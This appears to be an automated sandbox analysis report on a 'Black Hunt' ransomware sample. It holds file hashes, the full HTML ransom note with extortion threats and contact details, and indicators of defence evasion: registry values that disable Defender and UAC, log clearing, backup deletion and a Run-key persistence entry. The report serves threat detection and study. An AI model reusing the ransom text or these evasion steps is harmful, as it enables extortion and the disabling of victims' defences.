a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:26

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General

Target

a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
Size

707KB
MD5

44b6d4b99f2118f71a4439f5b8542bcd
SHA1

6574c6d80bb84401c71ece877c7709bb8e42d725
SHA256

a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206
SHA512

2c6decf55f8f81cdba7ca343090bce06dd4bb987487c332e1b64ec1c1de780d638486facfb6958446cc792bf5e098b4522a239552ef3fa9160494c0fb2cb8d60
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1A8Dvnh:6uaTmkZJ+naie5OTamgEoKxLWLjh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> uvbQrz7axQ99lVEi </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1092	fsutil.exe
616	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1992	wevtutil.exe
3852	wevtutil.exe
3004	wevtutil.exe
3592	wevtutil.exe
3044	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3948	bcdedit.exe
2720	bcdedit.exe
3256	bcdedit.exe
3492	bcdedit.exe

Renames multiple (2875) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1612	wbadmin.exe
3916	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
1648	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\O:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\U:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\A:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\G:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\Z:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\M:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\J:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\L:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\B:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\T:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\H:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\K:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\R:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\V:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\E:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\S:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\N:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\Y:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\P:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\X:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened (read-only)	\??\W:	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\VERSION.txt	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_ReadMe.hta	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\#BlackHunt_ReadMe.hta	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_Private.key	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ms.txt	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\org.eclipse.equinox.p2.metadata.repository.prefs	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-api-visual.xml	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Zaporozhye	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\#BlackHunt_ReadMe.txt	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.nl_ja_4.4.0.v20140623020002.jar	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Edmonton	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\#BlackHunt_ReadMe.txt	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\#BlackHunt_Private.key	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\cacerts	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\com.jrockit.mc.rcp.product_root_5.5.0.165303	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\#BlackHunt_Private.key	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\#BlackHunt_ReadMe.hta	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationUp_ButtonGraphic.png	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-templates_ja.jar	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Denver	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\#BlackHunt_Private.key	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
